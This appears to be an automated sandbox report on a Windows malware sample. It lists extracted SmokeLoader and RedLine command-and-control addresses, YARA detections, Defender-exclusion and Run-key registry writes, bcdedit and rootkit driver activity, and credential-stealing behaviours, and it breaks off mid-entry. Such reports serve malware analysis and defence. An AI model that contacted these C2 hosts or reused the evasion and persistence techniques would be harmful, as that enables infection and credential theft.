Analysis
-
max time kernel
150s -
max time network
153s -
platform
windows7_x64 -
resource
win7-20231020-en -
resource tags
arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system -
submitted
29-11-2023 14:56
Behavioral task
behavioral1
Sample
aab85d8dc402cb3c4487d181db202529.exe
Resource
win7-20231020-en
Behavioral task
behavioral2
Sample
aab85d8dc402cb3c4487d181db202529.exe
Resource
win10v2004-20231127-en
General
-
Target
aab85d8dc402cb3c4487d181db202529.exe
-
Size
37KB
-
MD5
aab85d8dc402cb3c4487d181db202529
-
SHA1
658d18524381b7d7e98506e3a4c7a61de2f810c9
-
SHA256
51ece97ff2a07a17964f2efee643f0be6da2596c4868e0d6e4c41b38efa1db42
-
SHA512
6b75cea6e737e48f23e336ea4c838c65a13b762976d84d337f0794e3fc97f885e1e131f8041d8142fbf0d709d3a616acc7dd4335efca0f9b79b6f15ad7281f2d
-
SSDEEP
768:f8FhylJE+hwr5hN7F0I0bQyvUgq65DQVi:f8qlJEQwrDNuIyvD5sV
Malware Config
Extracted
smokeloader
2022
http://194.49.94.210/fks/index.php
Extracted
redline
@ytlogsbot
194.169.175.235:42691
Extracted
redline
LiveTraffic
195.10.205.16:2245
Signatures
-
Detect ZGRat V1 27 IoCs
Processes:
resource yara_rule behavioral1/memory/2736-42-0x000000001AC50000-0x000000001AD34000-memory.dmp family_zgrat_v1 behavioral1/memory/2736-45-0x000000001AC50000-0x000000001AD30000-memory.dmp family_zgrat_v1 behavioral1/memory/2736-46-0x000000001AC50000-0x000000001AD30000-memory.dmp family_zgrat_v1 behavioral1/memory/2736-48-0x000000001AC50000-0x000000001AD30000-memory.dmp family_zgrat_v1 behavioral1/memory/2736-50-0x000000001AC50000-0x000000001AD30000-memory.dmp family_zgrat_v1 behavioral1/memory/2736-52-0x000000001AC50000-0x000000001AD30000-memory.dmp family_zgrat_v1 behavioral1/memory/2736-54-0x000000001AC50000-0x000000001AD30000-memory.dmp family_zgrat_v1 behavioral1/memory/2736-56-0x000000001AC50000-0x000000001AD30000-memory.dmp family_zgrat_v1 behavioral1/memory/2736-58-0x000000001AC50000-0x000000001AD30000-memory.dmp family_zgrat_v1 behavioral1/memory/2736-60-0x000000001AC50000-0x000000001AD30000-memory.dmp family_zgrat_v1 behavioral1/memory/2736-62-0x000000001AC50000-0x000000001AD30000-memory.dmp family_zgrat_v1 behavioral1/memory/2736-64-0x000000001AC50000-0x000000001AD30000-memory.dmp family_zgrat_v1 behavioral1/memory/2736-66-0x000000001AC50000-0x000000001AD30000-memory.dmp family_zgrat_v1 behavioral1/memory/2736-68-0x000000001AC50000-0x000000001AD30000-memory.dmp family_zgrat_v1 behavioral1/memory/2736-70-0x000000001AC50000-0x000000001AD30000-memory.dmp family_zgrat_v1 behavioral1/memory/2736-72-0x000000001AC50000-0x000000001AD30000-memory.dmp family_zgrat_v1 behavioral1/memory/2736-74-0x000000001AC50000-0x000000001AD30000-memory.dmp family_zgrat_v1 behavioral1/memory/2736-76-0x000000001AC50000-0x000000001AD30000-memory.dmp family_zgrat_v1 behavioral1/memory/2736-78-0x000000001AC50000-0x000000001AD30000-memory.dmp family_zgrat_v1 behavioral1/memory/2736-80-0x000000001AC50000-0x000000001AD30000-memory.dmp family_zgrat_v1 behavioral1/memory/2736-82-0x000000001AC50000-0x000000001AD30000-memory.dmp family_zgrat_v1 behavioral1/memory/2736-84-0x000000001AC50000-0x000000001AD30000-memory.dmp family_zgrat_v1 behavioral1/memory/2736-86-0x000000001AC50000-0x000000001AD30000-memory.dmp family_zgrat_v1 behavioral1/memory/2736-88-0x000000001AC50000-0x000000001AD30000-memory.dmp family_zgrat_v1 behavioral1/memory/2736-90-0x000000001AC50000-0x000000001AD30000-memory.dmp family_zgrat_v1 behavioral1/memory/2736-93-0x000000001AC50000-0x000000001AD30000-memory.dmp family_zgrat_v1 behavioral1/memory/2736-99-0x000000001AC50000-0x000000001AD30000-memory.dmp family_zgrat_v1 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 4 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\9888.exe family_redline C:\Users\Admin\AppData\Local\Temp\9888.exe family_redline behavioral1/memory/2376-13-0x0000000000C80000-0x0000000000CBE000-memory.dmp family_redline behavioral1/memory/2044-1557-0x0000000000080000-0x00000000000BC000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 11 IoCs
Processes:
latestX.exeupdater.exedescription pid process target process PID 1648 created 1216 1648 latestX.exe Explorer.EXE PID 1648 created 1216 1648 latestX.exe Explorer.EXE PID 1648 created 1216 1648 latestX.exe Explorer.EXE PID 1648 created 1216 1648 latestX.exe Explorer.EXE PID 1648 created 1216 1648 latestX.exe Explorer.EXE PID 2704 created 1216 2704 updater.exe Explorer.EXE PID 2704 created 1216 2704 updater.exe Explorer.EXE PID 2704 created 1216 2704 updater.exe Explorer.EXE PID 2704 created 1216 2704 updater.exe Explorer.EXE PID 2704 created 1216 2704 updater.exe Explorer.EXE PID 2704 created 1216 2704 updater.exe Explorer.EXE -
Processes:
31839b57a4f11171d6abc8bbc4451ee4.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\31839b57a4f11171d6abc8bbc4451ee4.exe = "0" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 31839b57a4f11171d6abc8bbc4451ee4.exe -
Modifies boot configuration data using bcdedit 14 IoCs
Processes:
bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exepid process 584 bcdedit.exe 2120 bcdedit.exe 1928 bcdedit.exe 2020 bcdedit.exe 560 bcdedit.exe 2696 bcdedit.exe 2416 bcdedit.exe 1124 bcdedit.exe 2824 bcdedit.exe 2936 bcdedit.exe 2756 bcdedit.exe 1328 bcdedit.exe 1492 bcdedit.exe 2808 bcdedit.exe -
Downloads MZ/PE file
-
Drops file in Drivers directory 3 IoCs
Processes:
latestX.exeupdater.execsrss.exedescription ioc process File created C:\Windows\System32\drivers\etc\hosts latestX.exe File created C:\Windows\System32\drivers\etc\hosts updater.exe File created C:\Windows\system32\drivers\Winmon.sys csrss.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
-
Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
-
Stops running service(s) 3 TTPs
-
Deletes itself 1 IoCs
Processes:
Explorer.EXEpid process 1216 Explorer.EXE -
Executes dropped EXE 29 IoCs
Processes:
9888.exe9DE6.exe9DE6.exeC63E.exeCE79.exeInstallSetup9.exetoolspub2.exeD03E.exe31839b57a4f11171d6abc8bbc4451ee4.exeD751.exeEA65.exeBroom.exeCE79.tmptuc3.exelatestX.exetuc3.tmpVolumeUTIL.exempeg4bind.exeVolumeUTIL.exempeg4bind.exetoolspub2.exeupdater.exe31839b57a4f11171d6abc8bbc4451ee4.exeXsdType.exeXsdType.execsrss.exepatch.exeinjector.exedsefix.exepid process 2376 9888.exe 2772 9DE6.exe 2736 9DE6.exe 2928 C63E.exe 1988 CE79.exe 1916 InstallSetup9.exe 2836 toolspub2.exe 1636 D03E.exe 2436 31839b57a4f11171d6abc8bbc4451ee4.exe 2044 D751.exe 2416 EA65.exe 1776 Broom.exe 1008 CE79.tmp 1652 tuc3.exe 1648 latestX.exe 1036 tuc3.tmp 828 VolumeUTIL.exe 1360 mpeg4bind.exe 1056 VolumeUTIL.exe 2940 mpeg4bind.exe 1476 toolspub2.exe 2704 updater.exe 2988 31839b57a4f11171d6abc8bbc4451ee4.exe 2076 XsdType.exe 1512 XsdType.exe 1648 csrss.exe 952 patch.exe 1456 injector.exe 3028 dsefix.exe -
Loads dropped DLL 38 IoCs
Processes:
Explorer.EXE9DE6.exeC63E.exeInstallSetup9.exeCE79.exetuc3.exeCE79.tmptuc3.tmptoolspub2.exetaskeng.exetaskeng.exe31839b57a4f11171d6abc8bbc4451ee4.exepatch.execsrss.exepid process 1216 Explorer.EXE 2772 9DE6.exe 2928 C63E.exe 2928 C63E.exe 2928 C63E.exe 2928 C63E.exe 2928 C63E.exe 1916 InstallSetup9.exe 1988 CE79.exe 2928 C63E.exe 2928 C63E.exe 1652 tuc3.exe 1008 CE79.tmp 1008 CE79.tmp 1008 CE79.tmp 1008 CE79.tmp 1036 tuc3.tmp 1036 tuc3.tmp 1036 tuc3.tmp 1036 tuc3.tmp 1008 CE79.tmp 1036 tuc3.tmp 2836 toolspub2.exe 884 taskeng.exe 1976 taskeng.exe 2988 31839b57a4f11171d6abc8bbc4451ee4.exe 2988 31839b57a4f11171d6abc8bbc4451ee4.exe 860 952 patch.exe 952 patch.exe 952 patch.exe 952 patch.exe 952 patch.exe 1648 csrss.exe 952 patch.exe 952 patch.exe 952 patch.exe 1648 csrss.exe -
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
31839b57a4f11171d6abc8bbc4451ee4.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\31839b57a4f11171d6abc8bbc4451ee4.exe = "0" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 31839b57a4f11171d6abc8bbc4451ee4.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
31839b57a4f11171d6abc8bbc4451ee4.execsrss.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2952504676-3105837840-1406404655-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\S-1-5-21-2952504676-3105837840-1406404655-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\"" csrss.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Manipulates WinMon driver. 1 IoCs
Roottkits write to WinMon to hide PIDs from being detected.
Processes:
csrss.exedescription ioc process File opened for modification \??\WinMon csrss.exe -
Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
Processes:
csrss.exedescription ioc process File opened for modification \??\WinMonFS csrss.exe -
Drops file in System32 directory 4 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 5 IoCs
Processes:
9DE6.exetoolspub2.exeXsdType.exeupdater.exedescription pid process target process PID 2772 set thread context of 2736 2772 9DE6.exe 9DE6.exe PID 2836 set thread context of 1476 2836 toolspub2.exe toolspub2.exe PID 2076 set thread context of 1512 2076 XsdType.exe XsdType.exe PID 2704 set thread context of 2288 2704 updater.exe conhost.exe PID 2704 set thread context of 944 2704 updater.exe explorer.exe -
Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
Processes:
31839b57a4f11171d6abc8bbc4451ee4.exedescription ioc process File opened (read-only) \??\VBoxMiniRdrDN 31839b57a4f11171d6abc8bbc4451ee4.exe -
Drops file in Program Files directory 40 IoCs
Processes:
CE79.tmptuc3.tmpupdater.exelatestX.exedescription ioc process File created C:\Program Files (x86)\Common Files\VolumeUTIL\is-2QJTO.tmp CE79.tmp File created C:\Program Files (x86)\Common Files\MPEG4Binder\is-11EG1.tmp tuc3.tmp File created C:\Program Files (x86)\Common Files\MPEG4Binder\is-NC8MT.tmp tuc3.tmp File created C:\Program Files (x86)\Common Files\MPEG4Binder\is-4NPHU.tmp tuc3.tmp File created C:\Program Files (x86)\Common Files\VolumeUTIL\is-BL157.tmp CE79.tmp File created C:\Program Files (x86)\Common Files\MPEG4Binder\is-KR4N0.tmp tuc3.tmp File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files (x86)\Common Files\MPEG4Binder\unins000.dat tuc3.tmp File created C:\Program Files (x86)\Common Files\VolumeUTIL\unins000.dat CE79.tmp File created C:\Program Files (x86)\Common Files\VolumeUTIL\is-B9408.tmp CE79.tmp File created C:\Program Files (x86)\Common Files\MPEG4Binder\is-U5CNU.tmp tuc3.tmp File opened for modification C:\Program Files (x86)\Common Files\VolumeUTIL\unins000.dat CE79.tmp File opened for modification C:\Program Files (x86)\Common Files\MPEG4Binder\mpeg4bind.exe tuc3.tmp File created C:\Program Files\Google\Chrome\updater.exe latestX.exe File created C:\Program Files (x86)\Common Files\MPEG4Binder\is-F06A9.tmp tuc3.tmp File created C:\Program Files (x86)\Common Files\MPEG4Binder\is-K77FD.tmp tuc3.tmp File created C:\Program Files (x86)\Common Files\MPEG4Binder\is-EH9HL.tmp tuc3.tmp File created C:\Program Files (x86)\Common Files\VolumeUTIL\is-LJITT.tmp CE79.tmp File created C:\Program Files (x86)\Common Files\VolumeUTIL\is-TG8UA.tmp CE79.tmp File created C:\Program Files (x86)\Common Files\VolumeUTIL\is-CU79T.tmp CE79.tmp File created C:\Program Files (x86)\Common Files\VolumeUTIL\is-6I418.tmp CE79.tmp File created C:\Program Files (x86)\Common Files\VolumeUTIL\is-2LH1B.tmp CE79.tmp File created C:\Program Files (x86)\Common Files\MPEG4Binder\is-IJF52.tmp tuc3.tmp File created C:\Program Files (x86)\Common Files\VolumeUTIL\is-7O6FO.tmp CE79.tmp File created C:\Program Files (x86)\Common Files\VolumeUTIL\is-FTLSJ.tmp CE79.tmp File created C:\Program Files (x86)\Common Files\MPEG4Binder\is-PQ65H.tmp tuc3.tmp File created C:\Program Files (x86)\Common Files\VolumeUTIL\is-U04V7.tmp CE79.tmp File created C:\Program Files (x86)\Common Files\VolumeUTIL\is-6U826.tmp CE79.tmp File created C:\Program Files (x86)\Common Files\VolumeUTIL\UIText\is-40H2H.tmp CE79.tmp File created C:\Program Files (x86)\Common Files\MPEG4Binder\is-CNNC5.tmp tuc3.tmp File created C:\Program Files (x86)\Common Files\VolumeUTIL\is-RNICO.tmp CE79.tmp File created C:\Program Files (x86)\Common Files\VolumeUTIL\is-8EDJ6.tmp CE79.tmp File created C:\Program Files (x86)\Common Files\MPEG4Binder\is-HO0TI.tmp tuc3.tmp File created C:\Program Files (x86)\Common Files\VolumeUTIL\UIText\is-V0Q95.tmp CE79.tmp File created C:\Program Files (x86)\Common Files\MPEG4Binder\UIText\is-5T5Q5.tmp tuc3.tmp File created C:\Program Files (x86)\Common Files\MPEG4Binder\UIText\is-8LFKU.tmp tuc3.tmp File opened for modification C:\Program Files (x86)\Common Files\MPEG4Binder\unins000.dat tuc3.tmp File opened for modification C:\Program Files (x86)\Common Files\VolumeUTIL\VolumeUTIL.exe CE79.tmp File created C:\Program Files (x86)\Common Files\MPEG4Binder\is-DRUVF.tmp tuc3.tmp File created C:\Program Files (x86)\Common Files\MPEG4Binder\is-4JSSH.tmp tuc3.tmp -
Drops file in Windows directory 3 IoCs
Processes:
makecab.exe31839b57a4f11171d6abc8bbc4451ee4.exedescription ioc process File created C:\Windows\Logs\CBS\CbsPersist_20231129145819.cab makecab.exe File opened for modification C:\Windows\rss 31839b57a4f11171d6abc8bbc4451ee4.exe File created C:\Windows\rss\csrss.exe 31839b57a4f11171d6abc8bbc4451ee4.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 2592 sc.exe 2056 sc.exe 2952 sc.exe 2732 sc.exe 1576 sc.exe 2116 sc.exe 2920 sc.exe 1860 sc.exe 2540 sc.exe 2664 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
toolspub2.exeaab85d8dc402cb3c4487d181db202529.exedescription ioc process Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspub2.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI aab85d8dc402cb3c4487d181db202529.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI aab85d8dc402cb3c4487d181db202529.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI aab85d8dc402cb3c4487d181db202529.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspub2.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI toolspub2.exe -
Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 2108 schtasks.exe 1620 schtasks.exe 1132 schtasks.exe 1852 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
31839b57a4f11171d6abc8bbc4451ee4.exenetsh.exeexplorer.exepowershell.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-581 = "North Asia East Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-582 = "North Asia East Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace\Session netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT\Certificates explorer.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-331 = "E. Europe Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies." netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-521 = "N. Central Asia Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Key created \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time" 31839b57a4f11171d6abc8bbc4451ee4.exe Set value (str) 